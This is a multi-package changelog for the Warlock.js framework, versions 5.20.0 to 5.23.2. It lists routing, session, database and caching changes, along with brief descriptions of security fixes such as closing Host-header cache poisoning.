Change Log

5.23.2

September 26, 2026

Multi-site locale routing and site-origin URLs. In a multi-site app, <Link>, localizedPath(), hreflang and the routing handed to the browser now follow each request's own site (its localeRouting), where before no locale prefix was ever added. Canonical, og:url and hreflang use the request's site origin instead of the app's single public URL. warlock build no longer fails when a site sets its own localeRouting. A page's declared route.name now reaches the generated route types when its loader lives in a companion .setup.ts. Lockstep release across all 30 packages. Generator matrix scope: none; the four-site demo (19/19 in dev and production, including new locale checks) and the blog cover the change.

Generator matrix: not run for this release.

@warlock.js/web Fixed 4

Fixed Multi-site locale routing is per site. <Link to>, localizedPath(), hreflang alternates and the routing handed to the browser now follow the rendering request's own site (its localeRouting, over web.localeRouting). Before, a multi-site app never published locale routing, so none of them added a locale prefix, in dev or production.
Fixed Multi-site pages build canonical, og:url and hreflang URLs from the request's site origin instead of the app's single public URL.
Fixed warlock build no longer fails with "app.localeCodes declares no locale codes" when a site sets its own localeRouting.
Fixed A page's declared route.name wins in the generated route types when its loader lives in a companion .setup.ts and config stays in the page file (for example, typed satisfies PageConfig<typeof loader>). Discovery now reads config from whichever of the two files declares it, and rejects it in both, as the runtime already did.

@warlock.js/access Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-anthropic Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-bedrock Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-deepseek Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-google Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-groq Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-live Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-mistral Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-ollama Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-openai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-panoptic Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-tools Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-workspace Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-xai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/auth Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/cache Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/cascade Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/context Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/core Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/fs Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/herald Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/logger Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/notifications Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/queue Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/scheduler Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/seal Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/sitemap Changed 1

Changed Lockstep patch release; package APIs are unchanged.

create-warlock Changed 1

Changed Lockstep patch release; package APIs are unchanged.

5.23.1

September 26, 2026

Multi-site: $sites folders, dev hydration, and production routing. Sites now live only in src/web/$sites/<key>/ (the folder name is the site key); web.sites.<key>.pages is removed and a leftover pages is a boot error naming the folder to move. Fixes: in warlock dev, each site's client entry now loads only its own pages (it failed with "Two pages resolve to the same route path" and never hydrated); adding or removing a page in dev no longer fails with a duplicate site-dispatch route name; $sites/<key> never leaks into page URLs or route names in production. Lockstep release across all 30 packages.

@warlock.js/web Changed 1 Fixed 3

Changed BREAKING: sites live only in src/web/$sites/<name>/ (the folder name is the site key); web.sites.<name>.pages is removed and reported at boot.
Fixed Multi-site dev: each site's client entry now loads only its own pages. Before, warlock dev failed to transform the hydration entry with "Two pages resolve to the same route path", so pages never hydrated.
Fixed Multi-site dev: adding or removing a page no longer fails with Route name "warlock.site-dispatch.get" is already taken.
Fixed $sites/<key> never reaches a page's URL or route name in any installer, including production.

@warlock.js/access Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-anthropic Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-bedrock Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-deepseek Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-google Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-groq Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-live Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-mistral Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-ollama Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-openai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-panoptic Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-tools Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-workspace Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-xai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/auth Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/cache Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/cascade Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/context Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/core Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/fs Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/herald Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/logger Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/notifications Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/queue Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/scheduler Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/seal Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/sitemap Changed 1

Changed Lockstep patch release; package APIs are unchanged.

create-warlock Changed 1

Changed Lockstep patch release; package APIs are unchanged.

5.23.0

September 26, 2026

Multi-site web applications, safer traffic controls, and Postgres correctness. Web adds web.sites and resolveHost for fixed and tenant-resolved domains, with isolated roots, routes, page caches, sitemap/robots, cross-site links, siteUrl(), and tlsAsk; it also fixes Real-Estate multi-site production and page-action edge cases. Core adds per-user rateLimit({ key: "user" }). Cascade adds opt-in Postgres naming: "snake_case" and safe bigint/int8 parsing. Queue carries request context into jobs, and Scheduler adds scheduler.around. Lockstep release across all 30 packages.

@warlock.js/web Added 2 Changed 2 Fixed 7 Security 1

Added Multi-site support (web.sites, resolveHost).
Added PageActionContext<typeof schema> accepts a bare Seal schema, typing request.validated() as its output; works with a plain config: PageConfig annotation. The typeof config.action form is unchanged.
Changed Build logs show app-relative output paths.
Changed A page action's response.cookie() and response.clearCookie() now take the same arguments as core's Response, so auth's cookie helpers (which take Response; CookieWriter is removed) accept it.
Fixed A page file can declare its action schema at the top (const schema = v.object(...), read by config.action.validation or config.actions.<name>.validation) — the documented pattern. Dev and build no longer refuse it as an ambiguous statement.
Fixed Multi-site in dev: tenant data from resolveHost({ shared }) now reaches useShared(), and siteUrl() / cross-site href() see the current site. The connector and the page pipeline run in two module copies in dev (Node and Vite SSR); both hand-offs now use global slots, as production already effectively did.
Fixed siteUrl() and the CurrentSite type are exported from @warlock.js/web, as the multi-site guide documents.
Fixed warlock build with web.sites no longer fails when src/config/web.ts imports app code through a tsconfig alias (a resolveHost from app/...): the build bundles web.ts with esbuild before reading sites.
Fixed A <Link> or navigateTo() to another site's route (an absolute URL on another origin) now loads that site instead of silently doing nothing; the locale prefix is no longer applied to absolute URLs.
Fixed A multi-site production build now boots: each site's hashed hydration-<site> entry is read from the Vite manifest at boot and served to that site's pages (it previously demanded a single hydration entry and refused to start).
Fixed Multi-site production installs each site's pages under its own root (the dispatcher was dropped on the way to the production installer), and boot no longer tries to publish one global sitemap that needs app.publicUrl: each site's sitemap is built for its own origin.
Security With app.url set, a request whose Host differs now bypasses the page cache (no lookup, no store) instead of being keyed as the configured host, closing cache poisoning via forged Host.

@warlock.js/core Added 3 Fixed 3

Added warlock generate.use-case <module>/<verb-noun> scaffolds use-cases/<verb-noun>.use-case.ts (transport-agnostic (input, actor) returning a result union) plus a vitest spec, and refuses to overwrite existing files without --force.
Added rateLimit accepts key: "user" to bucket by the signed-in user id (routes and page actions), with guests: "ip" | "skip" (default "ip") for unauthenticated requests. keyGenerator and the 429 shape are unchanged.
Added Each rateLimit() call now keeps its own counters, so two limits on the same route (two page actions on one page, say) no longer share a bucket. errorMessage also accepts (request) => string for per-request (translated) messages.
Fixed startHttpTestServer() now loads .env.test itself before configuration is read, so a Vitest global setup cannot boot against the development database.
Fixed warlock add installs with the project's package manager: the nearest packageManager field, then a pnpm-workspace.yaml, then the nearest lockfile, searched upward so an app inside a workspace uses the workspace's manager.
Fixed uniqueExceptCurrentUser / uniqueExceptCurrentId / existsExceptCurrentUser / existsExceptCurrentId on StringValidator now return this, so Infer<> keeps the concrete output type.

@warlock.js/cascade Added 2 Fixed 2

Added Postgres naming: "snake_case" (opt-in, default "preserve"): camelCase model keys map to snake_case columns in inserts, updates, where, orderBy, select, groupBy and joins, and rows come back camelCase. Table names and raw SQL are left as written.
Added Static Model.whereRaw(expression, bindings?), matching the other static query entry points (Model.query().whereRaw(...) still works).
Fixed Postgres bigint/int8 columns (and int8 arrays) come back as numbers when they fit in a safe integer, so a bigint id passes v.number(); larger values stay strings. The parser is installed on Cascade's own pool, not on the global pg.types.
Fixed unique() / exists() on StringValidator and NumberValidator now return this, so Infer<> keeps the concrete output type (was unknown).

@warlock.js/queue Added 2

Added defineQueueContext() / setQueueContext(): capture ambient state (tenant, request id) at dispatch and restore it around the job handler. The captured value travels in a versioned envelope; jobs without one still run. Exposed as ctx.context. Opt a job out with context: false.
Added UnrecoverableJobError: throw it from a handler or restore to fail the job permanently (mapped to BullMQ's UnrecoverableError).

@warlock.js/scheduler Added 1

Added scheduler.around((job, run) => …) wraps every job callback execution, each retry attempt included, so jobs can run inside a context such as AsyncLocalStorage. Multiple hooks compose with the first registered outermost; the call returns an unsubscribe function. A hook that never calls run skips the execution and emits job:skip (JobResult.skipped / skipReason); a hook that throws follows the normal retry/error path.

create-warlock Changed 1 Fixed 4

Changed Template schemas and models drop redundant .required() and non-load-bearing satisfies, matching the framework skills.
Fixed Scaffolding inside an existing pnpm workspace no longer writes a nested pnpm-workspace.yaml; a standalone app still gets one.
Fixed Postgres apps get their own database defaults in .env and .env.example (MongoDB keeps DB_AUTH and port 27017).
Fixed The gen.* scripts use the registered warlock generate.<x> commands.
Fixed minimumReleaseAgeExclude covers @warlock.js/* by pattern, so a freshly published family installs without listing versions or unused packages.

@warlock.js/notifications Added 1 Changed 1

Added notificationColumns() now supports idType for UUID, bigint, integer, and string recipient and tenant IDs.
Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/seal Added 1 Fixed 1

Added Array validators take .min(n) / .max(n) for length, like strings and numbers; .minLength() / .maxLength() remain as aliases.
Fixed An omitted optional field skips its mutators, so v.string().trim().optional() no longer reports a missing field as required.

@warlock.js/access Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-anthropic Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-bedrock Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-deepseek Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-google Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-groq Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-live Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-mistral Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-ollama Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-openai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-panoptic Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-tools Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-workspace Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-xai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/auth Removed 1

Removed BREAKING: CookieWriter is removed. setSessionCookies, clearSessionCookies, setAuthCookie, clearAuthCookie and loginWithSessionCookies take core's Response (only its cookie and clearCookie), so a page action's response still works without a cast. An app helper that was typed as CookieWriter can take { cookie: (...args: Parameters<Response["cookie"]>) => unknown } instead.

@warlock.js/cache Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/context Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/fs Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/herald Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/logger Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/sitemap Changed 1

Changed Lockstep patch release; package APIs are unchanged.

5.22.1

September 25, 2026

Installed app corrections. Web resolves page sessions from Core's shared configuration, restoring signed-in loaders, actions, and useUser() in installed apps. Create Warlock loads generated page styles through the app stylesheet so sitemap generation can import page modules in Node. Lockstep corrective release across all 30 packages. Generator matrix scope: none; local-registry and separate fresh-install checks are recorded in the release summary.

Generator matrix: not run for this release.

@warlock.js/web Fixed 1

Fixed Page session resolution reads Core's shared config instance, so authenticated loaders, actions, and useUser() receive the signed-in user in installed apps.

create-warlock Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/core Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/sitemap Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/access Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-anthropic Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-bedrock Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-deepseek Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-google Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-groq Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-live Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-mistral Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-ollama Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-openai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-panoptic Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-tools Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-workspace Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/ai-xai Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/auth Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/cache Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/cascade Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/context Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/fs Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/herald Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/logger Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/notifications Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/queue Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/scheduler Changed 1

Changed Lockstep patch release; package APIs are unchanged.

@warlock.js/seal Changed 1

Changed Lockstep patch release; package APIs are unchanged.

5.22.0

September 25, 2026

Page action and session contracts, durable Cascade jobs, and safer AI serving. Web and Auth add action-specific validated input, session-aware page and layout loaders, buffered logout cookie clearing, and a 503 action helper. Cascade restores PostgreSQL TTL purge jobs after reconnect and retries post-commit sync fan-out; Core preserves configured local-storage path prefixes. AI serving adds server-owned sessions, request limits, disconnect cancellation, safer MCP environment handling, unpriced-model budget rejection, and Core-owned SSRF address classification. Sixteen approved Mongez skills-only patches and grouped agent-kit skills are included. Lockstep release across all 30 packages. Generator matrix scope: none; local-registry package checks and separate fresh-install checks are recorded in the release summary.

Generator matrix: not run for this release.

@warlock.js/web Fixed 5

Fixed PageConfig accepts action and actions (new PageActionConfig type), so config = { action: { validation } } satisfies PageConfig type-checks.
Fixed PageActionContext<typeof config.action> types request.validated() from the action's Seal validator.
Fixed An action's response.clearCookie() exists and sends the deleting Set-Cookie, so authService.clearSessionCookies(response) no longer throws in a page action.
Fixed Page action names flow into the generated route manifest; app and layout loaders type resolved sessions; late session renewal raises SessionResolvedTooLateError.
Fixed Page actions can return response.serviceUnavailable() for upstream failures such as mail delivery.

@warlock.js/auth Fixed 1

Fixed setSessionCookies, clearSessionCookies, setAuthCookie, clearAuthCookie and loginWithSessionCookies take a CookieWriter (any object with cookie() and clearCookie()), so a page action's response works without a cast.

@warlock.js/cascade Added 1 Fixed 1

Added PostgreSQL TTL indexes register purge jobs and persist retention rules in index comments so jobs restore after reconnect.
Fixed Post-commit sync fan-out retries transient failures without failing committed writes.

@warlock.js/ai Changed 3

Changed USD budgets reject unpriced models by default; onUnpriced: "allow" explicitly opts out. Model pricing reaches middleware.
Changed ai.serve owns session IDs and history, limits request bodies, checks bearer tokens in constant time and aborts on disconnect.
Changed SSRF address classification reuses the core classifier, including IPv4-mapped IPv6.

@warlock.js/access Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-anthropic Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-bedrock Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-deepseek Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-google Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-groq Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-live Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-mistral Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-ollama Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-openai Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-panoptic Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-tools Security 1

Security Stdio MCP children receive only a minimal execution environment plus explicitly supplied variables.

@warlock.js/ai-workspace Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-xai Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/cache Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/context Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/core Fixed 1

Fixed Local storage results return paths with the configured prefix for writes and moves.

@warlock.js/fs Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/herald Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/logger Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/notifications Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/queue Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/scheduler Fixed 1

Fixed Cron and time parsing handle absent fields explicitly under strict TypeScript checks.

@warlock.js/seal Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/sitemap Changed 1

Changed Lockstep release maintenance and dependency refresh.

create-warlock Changed 1

Changed Lockstep release maintenance and dependency refresh.

5.21.0

September 25, 2026

Page actions and sessions in pages. Pages can export action/actions and post with <Form> (works without JavaScript; useActionData, FieldError, useIsSubmitting), and read the signed-in user with useUser(), guarded server-side by requireUser/requireGuest from @warlock.js/web/session. Upgrade review required: a full framework sweep ships ~140 fixes with behaviour changes across core, cascade, web and auth (see each package changelog). Lockstep release across all 30 packages. Generator matrix ran subset scope (baseline, scheduler, postgres, redis, web, sitemap, socket rows); Hasan authorised it on 2026-09-24: "Don't wait for any other approvals, you have green light to do everything needed to have 5.21 released, don't stop before the release, no complete the push and publish/release".

Generator matrix: selected rows ran against the staged candidate — baseline, scheduler, postgres, redis, web, sitemap, socket.

@warlock.js/web Added 3 Changed 5 Fixed 3

Added Page actions: a page can export action / actions (PageActionNames). <Form> works without JavaScript, shows field errors, redirects and revalidates the page. Client helpers: useActionData(), FieldError, useIsSubmitting(), useSubmitAction(). ActionResponse types the server result. web.forms.redactValues controls which submitted values are redacted from echoed state.
Added Sessions in pages: web.session resolver, useUser() on the client, requireUser() / requireGuest() in page middleware and loaders (server-only subpath @warlock.js/web/session), safeRedirectTarget() and PageRedirectSignal.
Added CSS Modules (*.module.css) render on the server with class names matching the client.
Changed BREAKING: the page cache keeps path case, does not cache the HTML variant under a CSP, and runs app/layout/page middleware before serving a cache hit.
Changed BREAKING: two filesystem pages that differ only by route-param name (blog/[id] vs blog/[slug]) throw DuplicatePageRoutePathError. Rename one.
Changed The locale cookie now has a 1-year Max-Age. Link never intercepts download, target other than _self, or modified clicks.
Changed A * wildcard param is encoded per path segment (/ is no longer %2F); the image loader appends &variant= to an existing query and keeps #fragment last.
Changed useShared() uses useSyncExternalStore, so memoized consumers update after hydrateShared().
Fixed Build gates: Gate C, the unread PUBLIC_ env check and *.setup.ts handling are more accurate.
Fixed Normalize conditional-request header values before sitemap validator comparisons.
Fixed Register explicit HEAD handlers for sitemap documents and immutable shard URLs.

@warlock.js/auth Added 3 Changed 4

Added Page sessions: pageSession / sessionMiddleware give pages a renewing session (renewal on by default). session.maxAge bounds the token family from its creation (default "30d"); a family past it is revoked and renewal returns null.
Added setSessionCookies / clearSessionCookies write HttpOnly, SameSite=Lax, Path=/ cookies, ignoring auth.cookie.path. authService.loginWithSessionCookies() logs in and sets them.
Added resolveRequestUser memoizes on request.locals.session: repeat or concurrent callers in one request share a single verify, DB lookup and renewal (the first caller's options win).
Changed BREAKING: loginWithSessionCookies() requires a same-origin Origin/Referer even with no cookies, otherwise it throws CsrfOriginMismatchError. Send the header from non-browser clients.
Changed BREAKING: authMiddleware takes an ordered header/cookie sources list; a present Authorization header always wins and never falls back to the cookie, so an invalid header now returns 401.
Changed JWTs carry a random jti, so tokens issued in the same second differ.
Changed Lockstep release maintenance and dependency refresh.

@warlock.js/core Added 2 Changed 17 Fixed 2

Added app.shutdownTimeout (default 10s) — an overall shutdown budget. HTTP stops accepting and drains first, then the other connectors stop in reverse priority; if the budget runs out, the hung connector is logged and the process exits with code 1. In shared mode, closing socket.io no longer closes the Fastify server.
Added putFromPath(localPath, storagePath) on storage — uploads a local file by path.
Changed BREAKING: put(string) now always stores the string as content. To upload a local file, use putFromPath().
Changed BREAKING: multipart limit violations now respond 413.
Changed BREAKING: hmacKey is validated — a non-hex key throws instead of silently hashing with an empty key. Set a hex encryption.hmacKey.
Changed BREAKING: DatabaseLogModel fields are now module/action/content/stack/date; legacy message/trace are still read. Update any code that queries the old fields directly.
Changed BREAKING: SMTP secure now defaults from the port (465 → implicit TLS) when not set explicitly.
Changed BREAKING: the page cache keeps the request path's case, and the HTML variant is not cached under a CSP. Middleware (app, layout, page) now runs before a page-cache hit is served.
Changed BREAKING: list(request.all()) honours only a whitelist of control keys, and exists() defaults to the primary key. Pass an explicit column if you relied on another one.
Changed BREAKING: Restful saves validated data only — fields missing from the validation schema are dropped. Add them to the schema if they must be persisted.
Changed BREAKING: mail mode defaults to "development" (log/preview, no real send) outside production, unless mail.sendInDevelopment === true or setMailMode was called.
Changed BREAKING: unhandled request errors no longer print via console.error; they reach configured logger channels only. Configure a channel to keep that visibility.
Changed Logger enabled: false (top-level or per-environment) now silences the channel, and the test environment block is honoured.
Changed generate.model migration naming is corrected, --with-resource also creates the resource file, and gen.migration refuses to run when the target model file is missing.
Changed warlock <cmd> -v reaches the command instead of printing the version; --help always rescans plugin and project commands. Resolved CLI option.name is always camelCase.
Changed image.fromUrl() throws StorageError for private/reserved hosts, disallowed schemes and oversized (>50MiB) or slow (>30s) bodies.
Changed Routes with rateLimit.errorMessage return that message on 429. The upload default prefix format is now DD-MM-YYYY-HH-mm-ss.
Changed flushPendingCookies throws instead of silently dropping cookies when the parked-cookie symbol is missing. Later bootstrap() calls no longer re-register the unhandled-rejection listener.
Changed Lockstep release maintenance and dependency refresh.
Fixed The dev health checker now lints projects using eslint.config.ts/.mts/.cts.
Fixed An explicit HEAD route now takes precedence over Fastify's automatic HEAD registration for a GET route at the same path. GET-only routes retain Fastify's implicit HEAD behavior.

@warlock.js/cascade Added 1 Changed 11 Fixed 3

Added Migration locks: a migration run takes a lock for its whole duration (Postgres advisory lock warlock:migrations; MongoDB lock document with a 10-minute TTL). A held lock is waited on for up to 60s, then the run throws naming the holder.
Changed BREAKING: Model.delete() with no filter throws instead of deleting everything. Pass a filter.
Changed BREAKING: migrations run in authored order; order is the primary sort key, so a migration with a non-zero order changes run/rollback order. Multi-batch rollback sorts batch DESC, then createdAt DESC, and export .down.sql orders newest-first. transactional: false and dataSource are now honoured.
Changed BREAKING: dry runs (--sql, export-sql, runAll({ dryRun })) write nothing — no up()/down() side effects and no recording.
Changed BREAKING: isDefault applies only to the first data source.
Changed BREAKING: model events are emitted under both the class name and the table name (model.<table>.updated, or model.<dataSource>:<table>.updated). Listeners on either name work.
Changed BREAKING: a unique-constraint violation on insert/update (pg 23505, mongo 11000) throws DatabaseWriterValidationError (a field error) instead of a raw driver error. The unique rule excludes the model's own row on update.
Changed BREAKING: unique/exists/databaseModels/embed rules with an unregistered string model name throw a descriptive error ("did you forget @RegisterModel()?"). exists() defaults to the primary key, and uuid always returns a string.
Changed BREAKING: sync runs after commit and logs failures as sync.failed; multi-level sync (.maxDepth()) is removed.
Changed Mongo: orderByRaw()/cursor() throw instead of being ignored, raw() throws a "SQL only" error, whereDate/whereBefore/whereAfter use UTC day boundaries, and transaction callbacks may run more than once (retried on transient errors).
Changed defineModel no longer overrides base-class strictMode/autoGenerateId unless supplied. Validation no longer calls console.trace.
Changed Lockstep release maintenance and dependency refresh.
Fixed Postgres driver: whereLike with a RegExp (~*/!~*), count()/exists() honour has/whereHas, joins and groupBy/distinct, and whereJsonContains binds a parameter.
Fixed Migrations: .index()/.unique()/.vectorIndex() inside Migration.alter modify now create the index, and randomIncrement takes effect.
Fixed Mongo: replica-set detection runs hello once per driver.

@warlock.js/access Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-anthropic Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-bedrock Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-deepseek Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-google Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-groq Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-live Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-mistral Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-ollama Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-openai Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-panoptic Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-tools Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-workspace Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/ai-xai Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/cache Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/context Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/fs Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/herald Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/logger Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/notifications Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/queue Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/scheduler Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/seal Changed 1

Changed Lockstep release maintenance and dependency refresh.

@warlock.js/sitemap Changed 1

Changed Lockstep release maintenance and dependency refresh.

create-warlock Changed 1

Changed Lockstep release maintenance and dependency refresh.

5.20.0

September 24, 2026

Cache compatibility changes require an upgrade review: cached() auto-keys, flat memory keys, finite ownership-safe locks, Redis FLUSHDB, tokenized stored lock values, and numeric TTL normalization all change observable behavior. @warlock.js/web adds generated named-route types and managed sitemap generations; Core, Cache, Cascade, Auth, Scheduler, and Socket.IO add safer multi-instance boundaries. Lockstep release across all 30 packages. Generator matrix ran subset scope (baseline, scheduler, postgres, redis, web, sitemap, socket rows); Hasan authorised it on 2026-09-24: "Go with rec, and tell me whether we should move the matrix run from my machine to Github instead and I report back with failures or keep it on my machine?".

